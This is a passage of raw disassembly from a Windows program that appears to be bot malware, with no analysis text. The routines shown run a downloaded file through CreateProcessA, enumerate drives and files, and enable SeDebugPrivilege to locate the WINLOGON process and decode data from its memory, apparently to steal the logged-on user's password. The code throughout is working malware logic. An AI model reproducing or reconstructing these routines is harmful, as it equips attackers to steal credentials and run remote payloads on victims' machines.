10h cmp [ebp+arg_0], esi ja loc_416881 loc_41695A: ; CODE XREF: sub_4167A0+16Ej cmp [ebp+var_3C], esi mov [ebp+var_14], 1 jz short loc_4169AF cmp edi, [ebp+var_3C] jz short loc_4169AF push [ebp+var_3C] lea eax, [ebp+Dst] mov [ebp+var_14], esi push edi push offset asc_4382DC ; "-" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dst] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_2CC] ; int call sub_409869 lea eax, [ebp+Dst] push eax call sub_415D38 add esp, 28h loc_4169AF: ; CODE XREF: sub_4167A0+1C4j ; sub_4167A0+1C9j call ds:dword_4270B0 ; GetTickCount sub eax, dword ptr [ebp+var_8+4] xor edx, edx mov ecx, 3E8h push [ebp+var_20] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call ds:dword_427070 ; CloseHandle push [ebp+var_1C] call sub_41BA91 cmp [ebp+var_38], esi pop ecx jz short loc_416A39 lea eax, [ebp+Filename] push eax ; Filename call sub_4010AB cmp eax, [ebp+var_38] pop ecx jz short loc_416A39 push [ebp+var_38] mov [ebp+var_14], esi push eax lea eax, [ebp+Dst] push offset asc_4382B4 ; "-" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dst] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_2CC] ; int call sub_409869 lea eax, [ebp+Dst] push eax call sub_415D38 add esp, 28h loc_416A39: ; CODE XREF: sub_4167A0+241j ; sub_4167A0+253j cmp [ebp+var_14], esi jz loc_416C79 cmp [ebp+var_44], 1 jz loc_416B34 mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul ds:dbl_427690 lea eax, [ebp+Filename] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+Dst] fmul ds:dbl_427690 fstp [esp+590h+var_590] push offset asc_43827C ; "-" push eax ; Dest call _sprintf add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_416AB4 push esi ; int lea eax, [ebp+Dst] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_2CC] ; int call sub_409869 add esp, 14h loc_416AB4: ; CODE XREF: sub_4167A0+2F2j lea eax, [ebp+Dst] push eax call sub_415D38 cmp [ebp+var_40], 1 pop ecx jnz loc_416C79 push 5 push esi lea eax, [ebp+Filename] push esi push eax push offset aOpen ; "open" push esi call dword_4CB940 cmp [ebp+var_30], esi jnz loc_416C79 lea eax, [ebp+Filename] push eax lea eax, [ebp+Dst] push offset asc_438260 ; "-" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dst] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_2CC] ; int call sub_409869 lea eax, [ebp+Dst] push eax call sub_415D38 add esp, 24h jmp loc_416C79 ; --------------------------------------------------------------------------- loc_416B34: ; CODE XREF: sub_4167A0+2A6j mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul ds:dbl_427690 lea eax, [ebp+Filename] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+Dst] fmul ds:dbl_427690 fstp [esp+590h+var_590] push offset asc_43821C ; "-" push eax ; Dest call _sprintf add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_416B9C push esi ; int lea eax, [ebp+Dst] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_2CC] ; int call sub_409869 add esp, 14h loc_416B9C: ; CODE XREF: sub_4167A0+3DAj lea eax, [ebp+Dst] push eax call sub_415D38 push 10h ; Size lea eax, [ebp+var_10] push esi ; Val push eax ; Dst call _memset push 44h lea eax, [ebp+var_310] pop edi push edi ; Size push esi ; Val push eax ; Dst call _memset add esp, 1Ch mov [ebp+var_310], edi lea eax, [ebp+var_10] mov [ebp+var_304], offset byte_43DB88 push 1 mov [ebp+var_2E0], si pop edi push eax lea eax, [ebp+var_310] push eax push esi push esi push 28h push esi push esi lea eax, [ebp+Filename] push esi push eax push esi mov [ebp+var_2E4], edi call ds:dword_427074 ; CreateProcessA cmp eax, edi jnz short loc_416C1E call dword_4CB92C ; WSACleanup call sub_4188A6 push esi call ds:dword_42706C ; ExitProcess loc_416C1E: ; CODE XREF: sub_4167A0+46Aj lea eax, [ebp+Filename] push eax push offset unk_4381E8 jmp short loc_416C38 ; --------------------------------------------------------------------------- loc_416C2C: ; CODE XREF: sub_4167A0+45j lea eax, [ebp+var_248] push eax push offset asc_4381BC ; "-" loc_416C38: ; CODE XREF: sub_4167A0+48Aj lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_416C6C push esi ; int lea eax, [ebp+Dst] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_2CC] ; int call sub_409869 add esp, 14h loc_416C6C: ; CODE XREF: sub_4167A0+4AAj lea eax, [ebp+Dst] push eax call sub_415D38 pop ecx loc_416C79: ; CODE XREF: sub_4167A0+29Cj ; sub_4167A0+325j ... push [ebp+var_18] call dword_4CBA08 ; InternetCloseHandle push [ebp+var_48] call sub_40B6D6 pop ecx push esi call ds:dword_4270D4 ; ExitThread sub_4167A0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_416C92 proc near ; CODE XREF: sub_4167A0+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_416CAE loc_416C9E: ; CODE XREF: sub_416C92+1Aj mov dl, byte_429094 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_416C9E locret_416CAE: ; CODE XREF: sub_416C92+Aj retn sub_416C92 endp ; =============== S U B R O U T I N E ======================================= sub_416CAF proc near ; CODE XREF: sub_401ACD+5761p ; sub_401ACD+5896p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41DC5E pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_416CAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416CC9 proc near ; CODE XREF: sub_41036B+458p ; sub_41036B+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h ; Size mov edi, offset dword_4D35F8 push 0 ; Val push edi ; Dst call _memset mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_416CEE: ; CODE XREF: sub_416CC9+5Bj ; sub_416CC9+61j push 0 push 0Ah push [ebp+arg_4] push ebx call __aullrem push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call __aulldiv mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_416D2C inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_416CEE mov byte ptr [esi], 2Ch inc esi jmp short loc_416CEE ; --------------------------------------------------------------------------- loc_416D2C: ; CODE XREF: sub_416CC9+4Bj dec esi mov eax, edi loc_416D2F: ; CODE XREF: sub_416CC9+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_416D3E mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_416D2F ; --------------------------------------------------------------------------- loc_416D3E: ; CODE XREF: sub_416CC9+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_416CC9 endp ; =============== S U B R O U T I N E ======================================= sub_416D48 proc near ; CODE XREF: sub_416EFD+51p ; sub_416EFD+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CBA34 ; GetDriveTypeA sub eax, 0 jz short loc_416D8B dec eax jz short loc_416D85 dec eax dec eax jz short loc_416D7F dec eax jz short loc_416D79 dec eax jz short loc_416D73 dec eax jz short loc_416D6D mov eax, offset word_4383AC retn ; --------------------------------------------------------------------------- loc_416D6D: ; CODE XREF: sub_416D48+1Dj mov eax, offset off_4383A8 retn ; --------------------------------------------------------------------------- loc_416D73: ; CODE XREF: sub_416D48+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_416D79: ; CODE XREF: sub_416D48+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_416D7F: ; CODE XREF: sub_416D48+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_416D85: ; CODE XREF: sub_416D48+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_416D8B: ; CODE XREF: sub_416D48+Dj mov eax, offset aUnknown ; "Unknown" retn sub_416D48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416D91 proc near ; CODE XREF: sub_416DD9+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4CB8C4 test eax, eax jz short loc_416DC6 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax ; GetDiskFreeSpaceExA loc_416DC6: ; CODE XREF: sub_416D91+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_416D91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416DD9 proc near ; CODE XREF: sub_416EFD+17p ; sub_41AF8F+1F3p Dest = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_416D91 pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_416EB7 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_416EB7 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_416EB7 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call __alldiv push edx push eax call sub_416CC9 pop ecx mov edi, offset aSkb ; "%sKB" pop ecx mov esi, 80h push eax push edi ; Format lea eax, [ebp+Dest] push esi ; Count push eax ; Dest call __snprintf add esp, 10h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call __alldiv push edx push eax call sub_416CC9 pop ecx pop ecx push eax push edi ; Format lea eax, [ebp+var_118] push esi ; Count push eax ; Dest call __snprintf add esp, 10h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call __alldiv push edx push eax call sub_416CC9 pop ecx pop ecx push eax push edi ; Format lea eax, [ebp+var_98] push esi ; Count push eax ; Dest call __snprintf add esp, 10h pop ebx jmp short loc_416EE9 ; --------------------------------------------------------------------------- loc_416EB7: ; CODE XREF: sub_416DD9+2Cj ; sub_416DD9+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+Dest] push esi ; Format push eax ; Dest call _sprintf pop ecx lea eax, [ebp+var_118] pop ecx push esi ; Format push eax ; Dest call _sprintf pop ecx lea eax, [ebp+var_98] pop ecx push esi ; Format push eax ; Dest call _sprintf pop ecx pop ecx loc_416EE9: ; CODE XREF: sub_416DD9+DCj mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+Dest] mov edi, eax rep movsd pop edi pop esi leave retn sub_416DD9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_416EFD(int,char *Str,int,int) sub_416EFD proc near ; CODE XREF: sub_416FCF+17p ; sub_416FCF+60p Dest = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h Str1 = byte ptr -80h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_416DD9 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+Str1] push offset aFailed ; "failed" rep movsd push eax ; Str1 call _strcmp add esp, 10h test eax, eax jnz short loc_416F70 push ebx push ebx call sub_416D48 pop ecx push eax push offset asc_4383FC ; "-" lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 14h jmp short loc_416FA4 ; --------------------------------------------------------------------------- loc_416F70: ; CODE XREF: sub_416EFD+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+Str1] push eax push ebx push ebx call sub_416D48 pop ecx push eax push offset asc_4383C0 ; "-" lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 20h loc_416FA4: ; CODE XREF: sub_416EFD+71j push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409869 lea eax, [ebp+Dest] push eax call sub_415D38 add esp, 18h pop edi pop esi pop ebx leave retn sub_416EFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_416FCF(int,char *Str,int,int) sub_416FCF proc near ; CODE XREF: sub_401ACD+252Ep arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_416FF0 push [ebp+arg_C] ; int push [ebp+arg_8] ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_416EFD add esp, 10h jmp short loc_417051 ; --------------------------------------------------------------------------- loc_416FF0: ; CODE XREF: sub_416FCF+9j push esi push edi push ebx push ebx call dword_4CB93C ; GetLogicalDriveStringsA lea esi, [eax+2] push esi ; Size call _malloc pop ecx mov edi, eax push edi push esi call dword_4CB93C ; GetLogicalDriveStringsA cmp [edi], bl mov esi, edi jz short loc_417048 loc_417014: ; CODE XREF: sub_416FCF+77j push offset aA_1 ; "A:\\" push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_417037 push esi ; int push [ebp+arg_8] ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_416EFD add esp, 10h loc_417037: ; CODE XREF: sub_416FCF+54j push esi ; Str call _strlen cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_417014 loc_417048: ; CODE XREF: sub_416FCF+43j push edi call sub_41BA91 pop ecx pop edi pop esi loc_417051: ; CODE XREF: sub_416FCF+1Fj pop ebx pop ebp retn sub_416FCF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417054 proc near ; DATA XREF: sub_401ACD+67C1o Dest = byte ptr -49Ch var_29C = dword ptr -29Ch var_298 = byte ptr -298h var_218 = dword ptr -218h var_115 = byte ptr -115h Str = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0A7h mov esi, eax lea edi, [ebp+var_29C] rep movsd mov dword ptr [eax+298h], 1 lea eax, [ebp+Str] push eax ; Str call _strlen xor ebx, ebx cmp [ebp+eax+var_115], 5Ch pop ecx jnz short loc_4170A9 lea eax, [ebp+Str] push eax ; Str call _strlen pop ecx mov [ebp+eax+var_115], bl loc_4170A9: ; CODE XREF: sub_417054+3Fj lea eax, [ebp+var_218] push eax push offset asc_43845C ; "-" lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 10h cmp [ebp+var_8], ebx jnz short loc_4170EE push ebx ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+var_298] push eax ; Str push [ebp+var_29C] ; int call sub_409869 add esp, 14h loc_4170EE: ; CODE XREF: sub_417054+78j lea eax, [ebp+Str] push ebx ; int push eax ; int lea eax, [ebp+var_218] push eax ; int lea eax, [ebp+var_298] push [ebp+var_C] ; int push eax ; Str push [ebp+var_29C] ; int call sub_41716F add esp, 18h push eax lea eax, [ebp+Dest] push offset asc_43843C ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_41714F push ebx ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+var_298] push eax ; Str push [ebp+var_29C] ; int call sub_409869 add esp, 14h loc_41714F: ; CODE XREF: sub_417054+D9j lea eax, [ebp+Dest] push eax call sub_415D38 push [ebp+var_10] call sub_40B6D6 pop ecx pop ecx push ebx call ds:dword_4270D4 ; ExitThread pop edi pop esi pop ebx sub_417054 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41716F(int,char *Str,int,int,int,int) sub_41716F proc near ; CODE XREF: sub_417054+B9p ; sub_41716F+9Ep var_54C = dword ptr -54Ch var_34C = dword ptr -34Ch Dest = byte ptr -248h var_144 = byte ptr -144h var_118 = byte ptr -118h var_117 = byte ptr -117h var_4 = dword ptr -4 arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 54Ch push ebx push esi push edi mov esi, 104h push [ebp+arg_10] lea eax, [ebp+Dest] push offset aS_3 ; "%s\\*" push esi ; Count push eax ; Dest call __snprintf mov edi, ds:dword_427124 add esp, 10h lea eax, [ebp+var_144] push eax lea eax, [ebp+Dest] push eax call edi ; FindFirstFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax mov ebx, offset Format ; "%s\\%s" jz short loc_41722C loc_4171BB: ; CODE XREF: sub_41716F+BBj test [ebp+var_144], 10h jz short loc_417218 cmp [ebp+var_118], 2Eh jnz short loc_4171DF cmp [ebp+var_117], 0 jz short loc_417218 cmp [ebp+var_117], 2Eh jz short loc_417218 loc_4171DF: ; CODE XREF: sub_41716F+5Cj lea eax, [ebp+var_118] push eax lea eax, [ebp+var_34C] push [ebp+arg_10] push ebx ; Format push esi ; Count push eax ; Dest call __snprintf push [ebp+arg_14] ; int lea eax, [ebp+var_34C] push eax ; int push [ebp+arg_C] ; int push [ebp+arg_8] ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_41716F add esp, 2Ch mov [ebp+arg_14], eax loc_417218: ; CODE XREF: sub_41716F+53j ; sub_41716F+65j ... lea eax, [ebp+var_144] push eax push [ebp+var_4] call ds:dword_427120 ; FindNextFileA test eax, eax jnz short loc_4171BB loc_41722C: ; CODE XREF: sub_41716F+4Aj push [ebp+var_4] call ds:dword_427000 ; FindClose push [ebp+arg_C] lea eax, [ebp+Dest] push [ebp+arg_10] push ebx ; Format push esi ; Count push eax ; Dest call __snprintf add esp, 14h lea eax, [ebp+var_144] push eax lea eax, [ebp+Dest] push eax call edi ; FindFirstFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4172B2 loc_417263: ; CODE XREF: sub_41716F+141j lea eax, [ebp+var_118] inc [ebp+arg_14] push eax lea eax, [ebp+var_54C] push [ebp+arg_10] push offset asc_438484 ; "-" push 200h ; Count push eax ; Dest call __snprintf push 1 ; int lea eax, [ebp+var_54C] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 28h lea eax, [ebp+var_144] push eax push esi call ds:dword_427120 ; FindNextFileA test eax, eax jnz short loc_417263 loc_4172B2: ; CODE XREF: sub_41716F+F2j push esi call ds:dword_427000 ; FindClose mov eax, [ebp+arg_14] pop edi pop esi pop ebx leave retn sub_41716F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4172C1 proc near ; DATA XREF: sub_401ACD+1C72o Dest = byte ptr -29Ch var_9C = dword ptr -9Ch Str = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_41AE41 cmp eax, esi mov [ebp+var_4], eax jz short loc_417300 cmp eax, 2 jz short loc_417300 push offset unk_438678 jmp loc_41743F ; --------------------------------------------------------------------------- loc_417300: ; CODE XREF: sub_4172C1+2Ej ; sub_4172C1+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B9E pop ecx test eax, eax pop ecx jz loc_41743A push ebx push offset aNtdll_dll ; "NTDLL.DLL" call ds:dword_4270C0 ; LoadLibraryA mov esi, ds:dword_4270C4 mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi ; GetProcAddress push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_4D483C, eax call esi ; GetProcAddress push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_4D4830, eax call esi ; GetProcAddress push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_4D4A40, eax call esi ; GetProcAddress push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_4D4838, eax call esi ; GetProcAddress mov dword_4D4834, eax call sub_417493 test eax, eax mov [ebp+arg_0], eax jz loc_41740D mov esi, ds:dword_427148 mov edi, 400h mov ebx, offset word_4D3830 push edi push ebx push offset aUsername ; "USERNAME" call esi ; GetEnvironmentVariableW push edi mov edi, offset word_4D4030 push edi push offset aUserdomain ; "USERDOMAIN" call esi ; GetEnvironmentVariableW cmp [ebp+var_4], 1 push offset dword_4D4A48 push [ebp+arg_0] jnz short loc_4173B9 call sub_41761C jmp short loc_4173BE ; --------------------------------------------------------------------------- loc_4173B9: ; CODE XREF: sub_4172C1+EFj call sub_4177C3 loc_4173BE: ; CODE XREF: sub_4172C1+F6j pop ecx test eax, eax pop ecx jz short loc_417406 cmp dword_4D4A48, 0 jnz short loc_4173ED push ebx push edi push [ebp+arg_0] lea eax, [ebp+Dest] push offset asc_438540 ; "-" push 200h ; Count push eax ; Dest call __snprintf add esp, 18h jmp short loc_417420 ; --------------------------------------------------------------------------- loc_4173ED: ; CODE XREF: sub_4172C1+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_4173FD call sub_4178F9 jmp short loc_417402 ; --------------------------------------------------------------------------- loc_4173FD: ; CODE XREF: sub_4172C1+133j call sub_417990 loc_417402: ; CODE XREF: sub_4172C1+13Aj pop ecx push eax jmp short loc_417412 ; --------------------------------------------------------------------------- loc_417406: ; CODE XREF: sub_4172C1+101j push offset unk_438508 jmp short loc_417412 ; --------------------------------------------------------------------------- loc_41740D: ; CODE XREF: sub_4172C1+B6j push offset asc_4384DC ; "-" loc_417412: ; CODE XREF: sub_4172C1+143j ; sub_4172C1+14Aj lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx loc_417420: ; CODE XREF: sub_4172C1+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B9E pop ecx pop ecx push [ebp+var_8] call ds:dword_427144 ; FreeLibrary pop ebx jmp short loc_41744D ; --------------------------------------------------------------------------- loc_41743A: ; CODE XREF: sub_4172C1+4Ej push offset asc_4384A8 ; "-" loc_41743F: ; CODE XREF: sub_4172C1+3Aj lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx loc_41744D: ; CODE XREF: sub_4172C1+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_417474 push esi ; int lea eax, [ebp+Dest] push [ebp+var_14] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_9C] ; int call sub_409869 add esp, 14h loc_417474: ; CODE XREF: sub_4172C1+191j lea eax, [ebp+Dest] push eax call sub_415D38 push [ebp+var_18] call sub_40B6D6 pop ecx pop ecx push esi call ds:dword_4270D4 ; ExitThread pop edi pop esi sub_4172C1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_417493 proc near ; CODE XREF: sub_4172C1+ACp String = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, ds:dword_427154 mov ebx, 100h push edi push ebx push 8 call esi ; GetProcessHeap mov edi, ds:dword_427150 push eax call edi ; RtlAllocateHeap mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_4D483C push ebp push 0 call esi ; GetProcessHeap push eax call ds:dword_42714C ; RtlFreeHeap push [esp+28h+var_14] push 8 call esi ; GetProcessHeap push eax call edi ; RtlAllocateHeap mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_4D483C test eax, eax jnz short loc_417580 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_417580 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+String], ecx jb short loc_417580 loc_41751C: ; CODE XREF: sub_417493+EBj cmp word ptr [ebx+8], 5 jnz short loc_417573 push 0 push 0 call dword_4D4830 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_4D4A40 test eax, eax jnz short loc_417564 mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax ; String call __strupr pop ecx push eax ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_417598 loc_417564: ; CODE XREF: sub_417493+AAj test edi, edi jz short loc_41756F push edi call dword_4D4838 loc_41756F: ; CODE XREF: sub_417493+D3j mov eax, [esp+28h+var_10] loc_417573: ; CODE XREF: sub_417493+8Ej add ebx, 10h inc [esp+28h+String] cmp [esp+28h+String], eax jbe short loc_41751C loc_417580: ; CODE XREF: sub_417493+6Dj ; sub_417493+7Aj ... xor edi, edi loc_417582: ; CODE XREF: sub_417493+17Dj push ebp push 0 call esi ; GetProcessHeap push eax call ds:dword_42714C ; RtlFreeHeap mov eax, edi loc_417590: ; CODE XREF: sub_417493+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_417598: ; CODE XREF: sub_417493+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_417601 lea eax, [edi+80h] mov [esp+28h+String], eax loc_4175AE: ; CODE XREF: sub_417493+16Cj add [esp+28h+String], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+String] ; String call __strupr pop ecx push eax ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_417615 push offset aMsgina ; "MSGINA" push [esp+2Ch+String] ; String call __strupr pop ecx push eax ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_4175F3 mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_4175F3: ; CODE XREF: sub_417493+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_4175AE loc_417601: ; CODE XREF: sub_417493+10Fj test edi, edi jz short loc_41760C push edi call dword_4D4838 loc_41760C: ; CODE XREF: sub_417493+170j mov edi, [esp+28h+var_4] jmp loc_417582 ; --------------------------------------------------------------------------- loc_417615: ; CODE XREF: sub_417493+13Cj xor eax, eax jmp loc_417590 sub_417493 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41761C proc near ; CODE XREF: sub_4172C1+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h call ds:dword_42708C ; OpenProcess cmp eax, esi mov [ebp+var_4], eax jnz short loc_417645 xor eax, eax jmp loc_4177C0 ; --------------------------------------------------------------------------- loc_417645: ; CODE XREF: sub_41761C+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax call ds:dword_427160 ; GetSystemInfo push [ebp+var_60] mov [ebp+var_8], esi 